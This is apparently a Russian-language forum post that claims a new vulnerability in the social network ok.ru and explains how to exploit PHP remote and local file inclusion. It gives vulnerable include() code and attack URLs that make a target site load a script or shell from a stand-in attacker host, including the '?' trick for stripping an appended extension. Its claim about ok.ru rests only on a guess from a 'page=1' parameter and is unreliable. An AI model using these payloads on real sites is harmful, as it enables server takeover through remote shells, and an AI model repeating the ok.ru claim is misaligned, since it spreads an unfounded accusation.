Не давно найдена уязвимость в ок.ру, и я расскажу вам как использовать эту уязвимость. Для начало нам требуется вывести эту уязвимость. Давайте разберем её. Для начало выбираем любое фото или надпись на стенке , и пишем любой комментарий, обновляем страницу, нажмаем кнопку обновить и ищем в ссылке page=1 1 - это отоброжаемая страница. Вот мы и вывели её! Теперь мы видим что ок использует комманду page=1 для отображения запрашиваемой страницы. Код будет выглядить так: PHP: <?php $file =$_GET['page']; //Отображаемая страница include($file); ?> Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии: PHP: http://www.ok.ru/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt? Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере: PHP: <?php $file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page']; include($file); //$file - это внедренный злоумышленником скрипт ?> Мы видим, что злоумышленник произвел успешную атаку на целевой сервер. Подробнее: И так, почему же злоумышленник смог провести PHP-инъекцию? Все потому что функция include()позволяет запускать удаленные файлы. Почему в примере был указан скрипт с расширением *.txt, а не *.php? Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе. Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере. Пример: PHP: <?php $file =$_GET['page']; include($file .".php"); ?> Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude(). Т.е. PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt Превращается в PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt.php С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php) По этому, мы и добавляем "?" в конец пути к вредоносному скрипту: PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php Но он остается исполняемым. Проведение PHP-инъекций через уязвимость функции include(). RFI - удаленный инклюд при PHP-инъекции. Возможность проведения RFI - довольно частая бага в двигах. Найти ее можно следущим образом: Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом: PHP: /index.php?page=main Подставляем вместо main любое бредовое значение, например upyachka PHP: /index.php?page=upyachka В ответ получим ошибку: PHP: Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3 Это показывает нам на то, что инклуд осуществим. Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше) PHP: http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой. LFI - локальный инклюд при PHP-инъекции. Представим, что мы набрели на тот же уязвимый сайт PHP: /index.php?file=main С кодом PHP: <? .. Include ("folder/$page.htm"); … ?> Это уже локальный инклюд. В этой ситуации возможен только листинг файлов: PHP: /index.php?page=../index.php В следующем случае код выглядит вот таким образом: PHP: <? .. Include ("$dir1/folder/page.php"); … ?> В этом случае можно прописать путь к шеллу следующим образом: Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл: PHP: http://www.сайт_злоумышленника.com/folder/shell.php Инъекция в таком случае будет выглядить так: PHP: index.php?dir1=http://www.сайт_злоумышленника.com/ Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь